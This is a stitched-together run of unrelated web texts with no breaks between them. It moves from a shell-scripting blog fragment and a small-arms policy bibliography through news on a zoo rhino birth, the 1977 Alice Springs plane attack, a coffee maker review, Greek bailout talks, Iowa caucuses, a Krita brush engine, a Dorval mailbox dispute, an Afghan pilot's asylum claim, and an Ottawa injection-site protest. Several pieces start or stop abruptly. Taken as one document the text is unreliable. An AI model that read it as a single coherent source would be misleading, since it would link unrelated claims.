Performance – Lets kick in the after burners. This is one I don’t have much experience in although I should probably look into it. The shell is sort of like a glider, it gets the jobs done, but I wouldn’t want to race it against a jet or anything. If you’re considering scripting, just time the process to make sure it meets your performance needs. Most of the time, if it is for you, you’ll be fine right? I mean you’ve got all of the time in the world and can wait overnight if you have to. I’d rather not, but have been known to wait on a slow script out of laziness.
Maintenance – Nightmare code. Dependency Hell. Some may have seen the t-shirt or heard the phrase,
“Programming is like sex; one mistake, and you’ll support it forever”
Yea scripting this is sort of like that, except you can always abandon and upgrade your scripts :)
Karp, Aaron.2018.‘Civilian Firearms Holdings, 2017.’ Estimating Global Civilian-Held Firearms Numbers.Geneva:Small Arms Survey, the Graduate Institute of International and Development Studies, Geneva,18 June. (Q13434)Full Citation
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Alpers, Philip and Conor Twyford.2003.‘Pacific Small Arms Legislation: Controls on Manufacture and Domestic Trade.’ Small Arms in the Pacific.Geneva:Small Arms Survey, the Graduate Institute of International and Development Studies, Geneva,31 March. (Q327)Full Citation
Alpers, Philip and Conor Twyford.2003.‘Import and Export Laws in Pacific States.’ Small Arms in the Pacific.Geneva:Small Arms Survey, the Graduate Institute of International and Development Studies, Geneva,31 March. (Q320)Full Citation
Alpers, Philip and Conor Twyford.2003.‘Pacific Small Arms Legislation: Domestic and regional issues.’ Small Arms in the Pacific.Geneva:Small Arms Survey, the Graduate Institute of International and Development Studies, Geneva,31 March. (Q328)Full Citation
Marsh, Nicholas.2014.‘Database of Authorised Transfers of Small Arms and Light Weapons.’ NISAT Small Arms Trade Database.Oslo:Norwegian Initiative on Small Arms Transfers,22 December. (Q16)Full Citation
IANSA.2006.‘Reviewing Action on Small Arms 2006: Assessing the first five years of the UN Programme of Action.’ Biting the Bullet 'Red Book' 2006.New York, NY:International Action Network on Small Arms and the Biting the Bullet project,26 June. (Q82)Full Citation
Newton, George D and Franklin E Zimring.1969.‘Firearm Licensing: Permissive v Restrictive.’ Firearms & Violence in American Life: A staff report submitted to the National Commission on the Causes and Prevention of Violence.Washington, DC:US Government Printing Office,1 January. (Q22)Full Citation
Sherman, Amy and Tom Ginsburg.2014.‘Gun Rights in National Constitutions.’ Marco Rubio Says Second Amendment Is Unique in Speech to NRA.Miami, FL:Miami Herald (PolitiFact Florida),29 April. (Q8507)Full Citation
Zachary Elkins, Tom Ginsburg and James Melton. 2013. ‘U.S. Gun Rights Truly Are American Exceptionalism.’ Bloomberg (USA). 7 March. (N422) Full Citation
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GunPolicy.org. 2015. ‘Penalty for Unlawful Firearm Possession.’ Definition and Selection Criteria.
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Baker, Jean.2000.‘Weapons Control Bill: Explanatory Notes.’ Pacific Islands Forum Secretariat.Suva, Fiji:Pacific Islands Forum Secretariat,10 March. (Q577)Full Citation
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Cattaneo, Silvia and Sarah Parker.2008.‘Reporting, NPCs and NCAs, 2002 to 2008.’ Implementing the United Nations Programme of Action on Small Arms and Light Weapons: Analysis of the National Reports submitted by States from 2002 to 2008.Geneva:United Nations Development Programme,1 November. (Q20)Full Citation
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IANSA.2006.‘Reviewing Action on Small Arms 2006: Assessing the first five years of the UN Programme of Action.’ Biting the Bullet 'Red Book' 2006.New York, NY:International Action Network on Small Arms and the Biting the Bullet project,26 June. (Q166)Full Citation
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This newborn is, of course, not of the human species — he's a white rhinoceros calf, the first of his species born at the Toronto Zoo in some 27 years.
"Both mom and baby are doing very well, with reports that this first-time mom is very restful, calm and protective," said representatives from the zoo in a news release.
Rhino horn 'most expensive commodity on the planet'
The zoo says the successful birth is vital, as the White Rhino is on the International Union for Conservation of Nature's (IUCN) Red List as "near threatened."
According to the IUCN, at the end of the 19th century the species was nearly wiped out, with only 20 to 50 white rhinos on the planet. Conservation efforts, however, helped the population to rebound to about 20,000 individuals as of 2010.
But an appetite for white rhino horn as an ingredient in traditional Chinese medicines — often sold as miracle cures for myriad conditions or as status symbols for the rich — could see white rhinos redesignated as vulnerable.
In 2015, Maj.-Gen. Johan Jooste, who works to stop poaching in Kruger National Park in South Africa, told CBC News the park has become a "poachers' supermarket" because the horn has become "the most expensive commodity on the planet, gram for gram."
Rhino horn can be worth up to $60,000 US per kilogram on the black market.
Rhino is part of a breeding program
The Toronto Zoo is part of a multinational effort called the White Rhinoceros Species Survival Plan.
The newborn rhino's mother, seven-year-old Zohari, came to Toronto from Busch Gardens in Florida in 2012. A male white rhino named Tom, 10, is the father.
"Zohari's genetics are very valuable to the White Rhino Species Survival Plan which makes this birth particularly significant," says Maria Franke, curator of mammals at the Toronto Zoo.
Zoo staff says the first 30 days are a "critical" time for Zohari and her yet unnamed calf.
The attack was carried out by a disgruntled former employee of Connellan Airways (Connair), who flew a Beechcraft Baron (a twin-engine, piston-powered plane) into the Connair complex at the airport. The attack killed the pilot and four other people and injured four more, two of them seriously.[1] The disaster is one of only two aircraft suicide attacks in Australia's history, the other being in 1982 at Bankstown Airport.[2][3]
Background [ edit ]
The perpetrator, Colin Richard Forman, was 23-years-old at the time of the attack.[1] He had migrated from the United Kingdom to Australia alone in the early 1970s, but had trouble adjusting and, in 1974, tried to forge a Qantas ticket back to England. The forged ticket was detected and Forman had a conviction recorded against him.[1]
In November 1975, Forman obtained a commercial pilot's licence, and he started flying for Connair in January 1976.[1] The ticket forgery soon came to light and Forman was dismissed after seven weeks. He then found another job at Ord Air Charter in Wyndham, but was soon fired from there as well. Forman apparently believed that Roger Connellan, his boss at Connair, had informed Ord Air about his forgery conviction.[4]
In late 1976, Forman was living in Mount Isa, Queensland, eking out a living flying occasional single-engine (Cessna) charter flights for freight and tourists and where he was a member of the Mount Isa Aero Club. In about October 1976, he told a fellow member and local North West Star journalist "If I don't get a job by Christmas then you will get to know and through you most of the world will know". He attended the aero club's 76/77 New Year's Eve party.
Attack [ edit ]
Early on the morning of 3 January 1977, Forman trashed his one-bedroom flat in Mount Isa, piled up the remnants in a corner of his lounge room and created what was later described as an altar. On the top was a trophy for topping his course (Blue Flight) at the former Cessnock, New South Wales Nationwide Aviation Space Academy, and in front of the trophy was his pilot's log book, laid open.
On the date of his sacking from Connair, an entry read: "Sentenced to death this date", and the final page of his log book contained the date, aircraft type, call sign, destination and "Suicide Mission". The final words were THE END on the left and right pages respectively.[5][6]
Foreman then drove 2,000km to Wyndham, stopping overnight at Katherine. On 5 January he stole a Beechcraft 58 Baron (Aircraft registration VH-ENA) from Wyndham Airport after discovering the larger aircraft he had wanted to use was being used by the Royal Flying Doctor Service that day. Alice Springs is four hours flying time from Wyndham in a Beechcraft Baron: Forman had planned to strike at 10 am during the company's morning break, but he did not account for the time difference between Western Australia and the Northern Territory, and arrived at 11 am.[1]
As he reached the airfield at Alice Springs, he broadcast a final message by radio: "It is better to die with honour than live without it – Echo – November – Alpha."[1] Forman then set full power on both engines and aimed at the Connellan complex before plunging the aircraft into the centre of the building.[1]
Roger Connellan (32), Forman's former boss and the son of founder Edward Connellan, and engineers Markus Chittoni (31) and Ron Dymock (50) were killed on impact, while Liana Nappi (19), a secretary, was badly burned and died of her injuries in hospital five days later. Four other Connair employees were injured.[7]
Aftermath [ edit ]
During the investigation, letters addressed to the Department of Transport were found which explained his motivations.
In them he related his court appearance, described his seven weeks working at Connair as the happiest in his life, and his employment issues following dismissal. He also detailed his plan and his aim to "cause Connair the maximum amount of loss and hardship" and "to kill and maim as many employees of Connair Pty Ltd as possible".[8] This latter comment was erroneously attributed to the final entry in his log book by some media outlets.
Forman was buried in an unmarked grave at Alice Springs, after his family declined to have his body returned to the UK. Controversially, the grave is within sight of the grave of Roger Connellan.
Connellan Airways was sold to East-West Airlines in 1980.[9]
This machine might not be a work of art like the hand-crafted $299 (£220, AU$380) Technivorm Moccamaster. Neither is it as sophisticated as the $329 (£245, AU$ 420) Behmor Connected or $300 (£220, AU$380) Breville Precision Brewer, both equipped with smarts and electronic controls. On the other hand the Connoisseur is just as competent yet costs a whole lot less. That's why it's an outstanding buy, and worthy of our Editors' Choice award. Of course you can always take a look at other high-end coffee makers we've reviewed and decide for yourself.
Still simple but slightly better
The new Bonavita Connoisseur cuts an almost identical identical profile as the BV1900TS. Both brewers consist of a flat oval section up top and a matching oval base below. Sandwiched between the two are the coffee maker's main components. A water tank (and heater unit) sit on the base's left side. A filter basket is to the right of the tank with a thermal carafe directly below that.
Like its predecessor, the brewer looks attractive but isn't what I'd call stunning. For that you'll have to shell out big bucks for the $299 Technivorm Moccamaster. Hand-built in the Netherlands, the coffee maker's classic design is striking yet highly functional. Still the Connoisseur's stainless steel body and black plastic trim blends well with contemporary kitchen decors.
Enlarge Image Chris Monroe/CNET
The brewer uses standard 8 to 12 cup basket-style coffee filters. They're the same filters called for by the BV1900TS. There is one notable difference between the two coffee makers. The Connoisseur's filter basket slides in and out of its own dedicated slot.
Enlarge Image Chris Monroe/CNET
It's a definite improvement over the previous design. The older brewer balanced its filter basket precariously in place on top of the carafe. The new suspended basket also lets you brew into your own containers like mugs and travel cups if you'd like.
Just press one button
Bonavita resisted the urge to add extra complexity to this new model. Filling the Connoisseur's tank is a snap. Just flip open the tank's flap and pour water directly into its wide mouth. The reservoir has a maximum capacity of eight 5-ounce cups (1.2 L, 40 ounces).
Enlarge Image Chris Monroe/CNET
The coffee maker is simple to operate, too. There's one button, that's it. It's more of a switch that's small, round, and button-shaped. Flipping it on kick-starts the brewing process. Pressing the switch down for five seconds activates (and deactivates) the pre-soak function. Pre-soaking is a useful way to remove excess gas from fresh grounds. Freshly roasted beans, toasted within a few days, typically contain lots of CO2 that can create off-putting flavors.
The failure of eurozone ministers to reach a deal to give Greece its latest bailout payment threatens the whole bloc, leaders have said.
Following nearly 12 hours of talks in Brussels, the Eurogroup said it needed more time for technical work.
Greek Prime Minister Antonis Samaras said: "It's not only the future of our country, but the stability of the entire eurozone [that is at stake]."
France's finance minister insisted they were a "whisker" away from a deal.
The chairman of the Eurogroup, Jean-Claude Juncker, said ministers would meet again next week.
"Greece did what it had to do, and what it had pledged to do... whatever technical difficulties in finding a technical solution do not justify any negligence or delay," Mr Samaras said.
Greece needs the next tranche of its second bailout worth 130bn euros ($166bn; £104bn) to avoid insolvency.
The eurozone "would be threatened if we did not reach" a deal, French Finance Minister Pierre Moscovici said, before adding that "we are very close to a deal."
"We have observed that Greece had made considerable efforts," he told Europe 1 radio.
The eurozone finance ministers have been considering ways of reducing Greece's public debt, which is projected to rise to 189% of gross domestic product (GDP) by next year.
"We believe that, eventually, eurozone leaders will agree on a deal to cut Greek debt substantially," said Martin Koehring of the Economist Intelligence Unit.
"It is not in their interest to push Greece out of the eurozone over technical disagreements. A much more likely cause for a Greek disorderly default and euro exit would be domestic political developments in Greece, highlighted by rising political instability and social unrest.
"However, our assessment remains that there is a 40% probability that Greece leaves the eurozone within the next five years."
Disagreement
The country's bailout programme aims to get debt down to 120% of GDP by 2020.
There has been disagreement among the ministers and the International Monetary Fund, Greece's other bailout creditor, on how to make the country's debt manageable.
"The Eurogroup has had an extensive discussion and made progress in identifying a consistent package of credible initiatives aimed at making a further substantial contribution to the sustainability of Greek government debt," Jean-Claude Juncker said in a statement.
Media playback is unsupported on your device Media caption Schroders economist Virginie Maisonneuve: "Clearly we'll have more negotiation"
The eurozone ministers favour giving Greece an extra two years, to 2022, to bring its debt to 120% of GDP, but the IMF has resisted that extension.
Although the meeting wrapped up in the early hours of Wednesday morning in Brussels without a conclusion, earlier on Tuesday night there had been optimism a deal would be reached.
The French finance minister Pierre Moscovici said: "I have the impression that a political agreement is within reach."
The managing director of the IMF, Christine Lagarde, insisted: "We're going to work very constructively to see if we can find a solution for Greece. That's what really is our goal, our purpose and our mission."
"Students who are struggling in our schools, for whatever reason, need support and will continue to receive it in NSW public schools… Bullying will never be accepted in NSW public schools whether it be because someone is overweight, gay, based on the colour of their skin or for any other reason."
And that's the most important thing, according to all those people who wisely and empathetically argue "b-b-but we should be doing something about all bullying, not just the huge amount connected with sexuality and gender identity!"
That's why our governments absolutely never focus on road safety campaigns, instead making clear that all accidents are equally important and that trying to save lives on the road through anti-speeding initiatives would shamefully ignore the amount of crockery irretrievably cracked by people picking it up with soapy hands. #allaccidentsmatter!
Atheism shouldn’t be wholly identified with the confusions of its weakest exponents any more than we should reduce religious belief to the fulminations of fundamentalists. Yet when it comes to certain issues, the quality of the arguments doesn’t much matter. The fact is that there are specific human experiences that atheism in any form simply cannot explain or account for. One of those experiences is radical sacrifice — and the feelings it elicits in us. Think of a soldier who throws herself on a live grenade to save her comrades. Or a firefighter who enters a blaze to rescue a child knowing that he will likely perish in the effort. Or consider Thomas S. Vander Woude, the subject of an unforgettable 2011 article by the journalist Jeffrey Goldberg. One day in September 2008, Vander Woude’s 20-year-old son Josie, who has Down syndrome, fell through a broken septic tank cover in their yard. The tank was eight feet deep and filled with sewage. After trying and failing to rescue his son by pulling on his arm from above, Vander Woude jumped into the tank, held his breath, dove under the surface of the waste, and hoisted his son onto his shoulders. Josie was rescued a few minutes later. By then his 66-year-old father was dead. This is something that any father, atheist or believer, might do for his son. But only the believer can make sense of the deed. Pick your favorite non-theistic theory: Rational choice and other economically based accounts hold that people act to benefit themselves in everything they do…… Other atheistic theories similarly deny the possibility of genuine altruism, reject the possibility of free will, or else, like some forms of evolutionary psychology, posit that when people sacrifice themselves for others (especially, as in the Vander Woude case, for their offspring) they do so in order to strengthen kinship ties, and in so doing maximize the spread of their genes throughout the gene pool.
This type of argument is often advanced. But it rests on a false premise: that no one could have a reason for unselfish behavior unless they believe in a deity. In reality, there is no logical contradiction between denying the existence of God, yet also believing in ethical theories such as utilitarianism, Kantianism, natural rights theory, virtue ethics, and others that require us to set aside self-interest in at least some situations. Atheists can explain unselfish behavior simply by pointing out that many people believe in ethical theories that require it, and some of those people live up to their principles. As for why such theories might become popular in the first place, there is an extensive empirical literature on that subject by social scientists, historians, and other scholars, which Linker does little to rebut.
To be sure, it might be difficult for an atheist to prove that their preferred ethical theory is true. But theists face the exact same problem. Merely believing in the existence of God does not tell us much about about what is right, or when we are morally required to sacrifice self-interest for a higher value. Much like atheists, theists have radical disagreements about these issues. In the 19th century, there was extensive conflict between those theists who believed that slavery was right and just (and could cite biblical quotations to support their position), and those who argued it was evil, and that slaveowners had a moral obligation to set aside self-interest and let their slaves go. Today, theists continue to disagree radically about a wide range of moral issues, including abortion, the death penalty, free speech, gender equality, and many others.
Linker also misconstrues economics and rational choice theory. Neither assumes that people act only to “benefit themselves.” Rather, rational choice theory (which is based on economic reasoning) posits that people try to achieve their objectives as efficiently as possible, maximizing benefits and minimizing costs; cost and benefit are measured in terms of the decisionmaker’s own values, which could be selfish, altruistic, or some combination of both. If I value X’s life more than my own and the only way to save X is to sacrifice myself, that sacrifice would be entirely rational in the sense that economists and rational choice theorists use the term.
Democratic caucus-goers were choosing between Clinton's pledge to use her wealth of experience in government to bring about steady progress on Democratic ideals and Sanders' call for radical change in what he described as a system rigged against ordinary Americans.
Clinton, the former secretary of state, U.S. senator and first lady, entered the Democratic race as the heavily favored front-runner. Clinton was seeking to overcome the ghosts of her loss to Obama in 2008. Her campaign spent nearly a year building a massive get-out-the-vote operation in Iowa.
Yet she faced an unexpectedly strong challenge from Sanders, the self-declared democratic socialist from Vermont.
On Monday night, Clinton appeared before voters to declare she was "breathing a big sigh of relief." But she stopped short of claiming victory and declared herself ready to press forward in "a real contest of ideas."
Sanders had hoped to replicate Obama's pathway to the presidency by using a victory in Iowa to catapult his passion and ideals deep into the primaries.
“I think the people of Iowa have sent a very profound message to the political establishment, to the economic establishment, and by the way, to the media establishment,” Sanders said. “That is, given the enormous crises facing our country, it is just too late for establishment politics and establishment economics.”
Despite his strong showing, Sanders still faces an uphill battle against Clinton, who has deep ties throughout the party's establishment and a strong following among a more diverse electorate that plays a larger role in primary contests in February and March.
Even before the caucuses began, Sanders was working to discount the importance of any Clinton edge coming out of Iowa, telling reporters that if the former secretary of state "ends up with two delegates more of many, many hundred delegates, you tell me why that's the end of the world."
He served notice: "We're taking this all of the way."
The knife-edge results in Iowa mean the Democratic vote in New Hampshire takes on even greater import because a win in Iowa represents crucial early momentum in any presidential campaign, and for some candidates, the future of their White House hopes altogether.
Former Maryland Gov. Martin O'Malley's dropped out of the race even before a winner had been declared but as early results showed O'Malley garnering negligible support in the first primary contest. He was awarded 7.68 state delegate equivalents.
On the Republican side, former Arkansas Governor Mike Huckabee said he was suspending his campaign for the Republican party nomination. Huckabee won the Iowa caucus in 2008.
Candidates faced an electorate deeply frustrated with Washington. While the economy has improved under the Obama administration, the recovery has eluded many Americans. New terror threats at home and abroad have also ratcheted up national security concerns.
In Iowa, which has for decades launched the presidential nominating contest, candidates also faced an electorate that's whiter, more rural and more evangelical than many states. But, given its prime leadoff spot in the primary season, the state gets extra attention from presidential campaigns.
Even so, Iowa has decidedly mixed results in picking eventual nominees. The past two Republican caucus winners — Huckabee and former Pennsylvania Sen. Rick Santorum — faded as the race stretched on. But Obama's unexpected 2008 victory was instrumental in his path to the Democratic nomination, easing the anxieties of those who worried the young black senator would struggle to win white voters.
Monday's contest was the first hard evidence of whether Trump could turn the legion of fans drawn to his plainspoken populism into voters. "I think a lot of things caught up to him here in the last couple of weeks," said Trump supporter Brett Ridge of Des Moines, speaking shortly after Trump's concession speech. "When it comes down to it, he should have been at the debate last week."
Cruz modeled his campaign after past Iowa winners, visiting all of the state's 99 counties and courting influential evangelical and conservative leaders.
I stared to change the function that produce the brush mask and affects it’s softness. I selected Gaussian as it is nice function and I experiment with this function, but I found it complicated to control it (you setup sigma, uh what is sigma, you artist ask?). So let’s add some different function to the brush mask code. Oh, let’s put this decision to the artists hands, let’s give him some curve he can model as he want. We already has nice widget for that in Krita, so use it. So you can setup the brush mask by curve!
Setup brush softness with the curve
On the picture you can see Curve and Gaussian. The top red point represents the value of the brush mask in the center of the brush mask and the red point down in the right bottom corner represents the value of the edge of the brush mask. So far the brush mask supports only elliptical shape but I have also plans for rectangular shape of the brush mask but I need to find a way how to extend the 24-hours limit of the day so that I can code it You can add as many control points as you wish and tweak the softness between the center and edges.
You noticed the Gaussian also there, the mode and it’s code works but it will need some more love in the future. It gives some nice results also sometimes. I will see how it will end up.
So let’s make crazy setting of the curve and you can end up with the brush mask like this one with interesting edges:
Stroke with custom curve to change brush mask
As you can see, the brush supports pressure with no problems. Thanks to the Cyrille’s sensors you can change size by various attributes of your tablet or you can use some silk ones like a time or a distance. The brush supports also a rotation so you can setup some ellipse shape of the brush with a diameter and an aspect ratio and do some funny stuff like this one:
Dynamics of the soft brush in action
You setup an angle for your shape and you can allow Krita to manage the rotation for you. As you noticed, the opacity has been changing also, yes, you can control opacity with pressure. Those attributes are present in Pixel brush in Krita also. Let’s go for some new one.
I added parameter density to brush so that you can simulate in some non-photorealistic way brushes like charcoal, chalk and crayon. Basically you setup how many pixels from the brush mask will be used in a single dab. Very nice attribute, I managed to simulate a little charcoal drawing, here is my “developer” painting:
Softbrush density demo: Lukáš Tvrdý – House with charcoal
When you paint, your hand can shake. Maybe your hand is very stiff, and you don’t shake with your hand when you paint :D. So I added a parameter for you. It is called Jitter movement. You can setup how much the brush will be jittered when you paint. Maybe want to draw straight lines with shaky feeling. This is example of some mild jittering:
Softbrush mild jittering
If you exaggerate the parameter, you can end up with the result that spray brush, my other brush, do for you
Softbrush crazy jittering
Last feature, that is a little experimental, is called a HSV dynamics. I suppose you know what is HSV, it is physical color model, which model the color in terms of tint – hue, saturation and intensity – value. It was invented for artists so that they can more powerfully control the color they want to choose. I decided to change the parameters of the color dynamically in a stroke. This is still WIP (work-in-process) but so far you are able to grow the parameter, shrink and control it by pressure. Here is some demo, the feature with pressure can produce images with more gradients easily and you can avoid pick-that-color-and-put-it-here problem a little bit:
Softbrush: Hue growing, saturation shrinking and value growing
You can control the progression by a curve again and more control over the HSV can be done by using pressure option and using the tablet. These features are for 2.2. For 2.3 I already have some new feature and it is called mirroring and it was inspired by David Revoy video tutorial. He is using something very similar in video (link to 4:40).
You define the vertical axis with the softbrush with CTRL+LEFT click and then you paint in mirror mode. If you setup the axis outside the canvas, it is turned off.
As you paint, your brush mask is mirrored and then painted in the mirror mode. It is WIP also, we plan to make it more general so that every brush engine can use it. I get the idea as I was working on canvas mirroring.
I produced video, watch it here in action.
I plan to blog about other new achievements but again time is issue. Beside I work on Krita full-time, I write thesis so I don’t have time these days. If you want to help me, you can produce some art with my brush engines and then I can include your work in my thesis! I’m interested in pictures created with spray, softbrush, sumi-e (will be renamed to hairy brush), deform brush and particle brush and its combination. Some of the pictures you see here are already part of my thesis. You need to compile trunk for it but it is easy!
So far enkithan and n-pigeon provided a lot of nice paintings for me. I pick up the picture that n-pigeon did lately with just soft brush and spray brush.
CTV Montreal
A West Island resident has engaged in some unusual landscaping to express his grievance against a plan to install a large community mailbox in front of his Dorval home.
Hans Dybka created a fenced-off mound in front of his home a statement of defiance against Canada Post, which has informed him in December that 47 mailboxes will be placed on the edge of the lawn in front of his property on Strathmore Ave.
“Forty-seven people coming every other day for the rest of my life, that's a lot of traffic,” he said.
“It’s city property," Dybka told CTV Montreal. "But I’ve been living here for 30 years. There are no sidewalks in this part of Dorval and we maintain the grass. So I consider it part of my property. It’s uniform to the house, it extends from the house and we’re worried about the property evaluation too."
Dybka said that the municipality of Dorval has been powerless to aid his effort to quash the impending installation. “The mayor has told me that he wouldn’t want it on his front lawn but I’m on my own, I guess,” said Dybka.
“We'll continue to address the concerns and look again into whether any alternative locations were put forward that are safe and convenient for the 40 or so homeowners in the area that will be served by those boxes. And in some cases we can make the change and in some cases we can't – the box has to go somewhere,” said Canada Post spokesperson Jon Hamilton.
Dybka recruited his 47neighbours to sign a petition and noted that they all told him that wouldn’t want it on his lawn.
One neighbour said that he sides with Dybka in his fight against the placement of the community mailboxes.
“There are better places to do this. There’s the corner, a place down the road where Hydro had some stuff, it’s nobody’s property and there’s a huge piece of land there,” said neighbour Ron Proietti who said that a bit of discussion with residents would have gone a long way. "Involve the people who live here and the solution would be much better."
Canada Post announced its plans to install community mailboxes in December 2013 and has given itself five years to implement the move.
Guess what Lansing? We've got another reason to be proud of our city.
Livability.com has named Lansing to its "Top 10 Best Affordable Places To Live," ranking the city fourth.
Round Rock, Texas, is listed in the number one spot. Lansing is the only Michigan community to make the list, which appears on the site's home page.
The website explores what makes small to mid-sized cities great places to live, work and visit.
Lansing was singled out for a number of reasons, including the fact that the cost of living in Lansing is 8 percent below the national average (according to the Council of Community and Economic Research), the city's lower than average housing prices and its flat-rate income tax.
"We've always known that Lansing is one of America's best and most affordable cities, and this honor certainly confirms it," said Mayor Virg Bernero." It is a testament to the people across our community who work hard every day to improve Lansing's quality of life and make it such a great place to live, work and visit."
The site also notes that the region is home to Michigan State University, Lansing City Market, auto manufacturing, health insurance, bike trails, walking paths, and great bargains when shopping or looking for entertainment.
"This is just another of what has become a habit of us as a region getting a nice national list of recognitions," said Bob Trezise, president and CEO of LEAP.
"We have a powerful one-two punch to talk about right now as a region. We have a huge number of great jobs available for people across all wage scales. High tech, corporate headquarters, manufacturing. You can come here and take one of those great jobs and live in a big house for half of what it would cost in northern Chicago or, for instance, in Boston. So the one two punch is there is no one in America that can add value to someone's quality of life right now like Lansing."
Specific comparisons among the 10 cities were: the sales tax rate, and costs of a T-bone steak, a dozen eggs, pizza and a haircut.
Comparison Highlights
Lansing: Sales tax rate, 6 percent; cost of a T-bone steak, $11.99; cost of a dozen eggs, $2; cost of a pizza, $10 and cost of a haircut, $15.
Round Rock: Sales tax rate, 8.25 percent; cost of a T-bone steak, $10.04; cost of a dozen eggs, $1.78; cost of a pizza: $10; and cost of a haircut, $18.50.
Top 10 Best Affordable Places to Live
1. Round Rock, Texas
2. Dayton, Ohio
3. Lawton, Okla.
4. Lansing, Mich.
5. Appleton, Wis.
6. Fort Wayne, Ind.
7. Rochester, Minn.
8. Nampa, Idaho
9. Topeka, Kans.
10. Cedar Rapids, Iowa.
A senior adviser to Donald Trump repeatedly said the media are working hand-in-hand with Hillary Clinton’s campaign to destroy Donald Trump, and the new sexual harassment allegations against Trump is evidence of that.
“Let’s take a step back here Craig, this is obviously a coordinated effort between the Clinton campaign and the media to discredit Mr. Trump,” Boris Epshteyn said in an interview with MSNBC’s Craig Melvin on Thursday.
Story Continued Below
Melvin was not having it. He cut off the frequent Trump surrogate in midsentence.
“Boris, the Palm Beach Post working in cahoots with The New York Times, working in cahoots with NBC News, working in cahoots with Gloria Allred?” Melvin said as Epshteyn tried to cut in. “So this is a left-wing conspiracy?”
Epshteyn struggled to comprehend why so many stories about his boss’ actions toward women were coming out at once.
The spate of headlines began last Friday when The Washington Post published a 2005 video of Trump bragging that his fame allowed him to do anything he wanted to women. The Republican nominee apologized saying such banter was “locker room talk” and denied during Sunday’s second presidential debate that he ever followed up his words with actions.
Despite Trump’s pronouncement, Wednesday evening The New York Times published the story of two women who said on separate occasions that Trump inappropriately touched them. The Palm Beach Post and People magazine have also published stories with similar claims.
Trump has denied the claims and demanded the Times retract its report. Epshteyn added that if Melvin gave credence to the new allegations, then he must believe accusers of former President Bill Clinton.
“Do you believe Juanita Broaddrick as much as you believe these women?” Epshteyn said.
But as Epshteyn began to go through the list of past Clinton accusers, Melvin reminded him who Trump is actually running against.
Rahmani’s ascension to pilot in 2013 was widely hailed in Washington, D.C., where she received a woman of courage award from the White House in 2015 and was personally praised by First Lady Michelle Obama.
“I decided to join the military to be an example for others,” Rahmani told The Wall Street Journal in 2015.
Throughout her time in the military, Rahmani and her family faced serious death threats from the Taliban for daring to join the traditionally male field. Rahmani’s father had to go into hiding to avoid being killed as a reprisal, and she later started to reconsider her status as the Taliban began making unprecedented gains across the country.
The Pentagon’s most recent assessment of the U.S. effort in Afghanistan says the government only definitively controls approximately 70 percent of the country. The Taliban have made unprecedented gains in the fight against the Afghan security forces.
The terrorist group inflicted historic casualties on Afghan forces, with estimates at nearly 18 men dying per day. Nine-hundred Afghan soldiers were killed in August alone, and recruitment rates likely will not be able to backstop the bleeding.
“Things are getting worse and worse,” Rahmani lamented to The New York Times. She continued, “things are not changing.” Eventually the Afghan government even stopped paying Rahmani’s salary, despite earmarks from the U.S. government for funding.
Rahmani applied for asylum while currently stationed in the U.S. undergoing flight training. The Afghan National Security Forces vehemently denied Rahmani’s claims and urged the U.S. government not to grant her asylum.
“I am sure she lied by saying she was threatened, just to win the asylum case,” Afghan Gen. Mohammad Radmanish told TheNYT. He continued, “We request from our American friends and government to reject her asylum case and send her back, because knowing the truth, Captain Rahmani’s life isn’t at risk at all.”
“Her visibility served on one hand as a source of inspiration, but on the other hand as an irritant to those who were not progressively minded,” a U.S. Army Gen. who served with Rahmani in 2014.
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Send tips to saagar@dailycallernewsfoundation.org
By Spencer . May 12, 2011 . 3:34am
Someone at Shibuya’s Tsutaya store has been tweeting all sorts of information about Star Fox 64 3D before Nintendo could announce it.
According to the retailer, Star Fox 64 3D has three modes: 3DS mode, N64 mode, and Versus mode. 3DS mode utilizes the Nintendo 3DS’ gyro sensors for Arwing control. So, you can pilot Fox’s ship by tilting and lifting your 3DS.
Versus mode sets up battles with up to four players just like the Nintendo 64 game. Star Fox 64 3D supports download play, which means you only need one cartridge for multiplayer. The tweeter says versus mode will not have online battles over Nintendo Wi-Fi. A new feature in versus mode lets players take a picture with the inner camera. This shows up above your ship as a player icon similar to Ridge Racer 3D.
This can be a tricky dance. Studies show that wealth can be lost as it passes from generation to generation — and now the lion's share of Baby Boomer money will be passed on to Millennials.
So what do they think about it?
To figure out how the young and soon-to-be super rich think about money, Morgan Stanley Private Wealth and researcher Campden Wealth commissioned a survey and conducted hundreds of interviews with ultra high networth clients aged 18-40.
What they found is that the next generation of rich people is challenging stereotypes about inheritance.
"What would really surprise people is just how important it is for this generation to have a job," said Rosenthal, the author of the study. "81% think it's important to have a successful career."
And even after they've inherited their money, 68% of the young people surveyed think they'll continue working.
A few more stats from the survey:
• 63% of millennials view themselves as stewards of their wealth for future generations, compared with 46% of older siblings.
• 58% view their wealth as a vehicle to help the community (vs. 38% of older inheritors).
• 74% view their wealth as a source of empowerment to pursue what is most important (vs. 54% of older generation).
Rosenthal also said that the findings of the survey also challenged the notion that this social media obsessed generation would be happy to manage their money virtually.
"When it comes to talking to an advisor... they want to see you in person," she said.
All told this is a pretty optimistic view — based on this survey it seems Millennials are more interested in giving back to their communities and being prudent their money.
However, it's important to keep in mind that everyone who participated in this survey is a client of Morgan Stanley or Campden already. That means they've already shown an interest in learning more about their money and preserving it.
The city of Ottawa has confirmed it issued a bylaw infraction ticket for $260 dollars to a citizen on Wednesday in Raphael Brunet Park.
READ MORE: Beltline neighbourhood association president says safe consumption site could be a ‘model’ for other jurisdictions
Guy Annable says he was the one to spread the manure as an act of civil disobedience to get the unsanctioned injection site to move away from the park. He said it was part of a “fall fertilization program” to get the park ready for winter.
Annable wants the site, which is run by volunteer-based Overdose Prevention Ottawa, to move to a city-sanctioned site two blocks away.
“We had to start our fall fertilization program, so we applied manure to the area [Thursday],” he told Global News.
Global News has reached out for comment to Overdose Prevention Ottawa, but hasn’t heard back at time of publication.
The site organizer told CFRA News the tents for the injection site would likely have to move closer to the curb because of the manure, “ironically … towards one of the neighbours who is not very happy with us being in the park.”
“To me, it’s just another example of the crap – literally and figuratively – that a lot of the volunteers and guests have to deal with on the day-to-day basis at this site,” she told CFRA’s Kristy Cameron.
Officials from Overdose Prevention Ottawa have previously said there was still a large demand for help at the site, which is why they weren’t planning on moving.
“Action by federal, provincial and municipal governments continues to fall far short of what is needed in the face of a worsening public health crisis,” a statement on their website reads.
Officials posted a video of the incident to Facebook.
Annabele said he had to take matters into his own hands.
“We’ve been actively pursuing our elected officials for the past 42 days … to no avail,” Annabele said.
Ottawa’s mayor and police chief both agree the site should move, but city officials say they can’t direct police to take action, and they’ve left it in the hands of by-law officers.
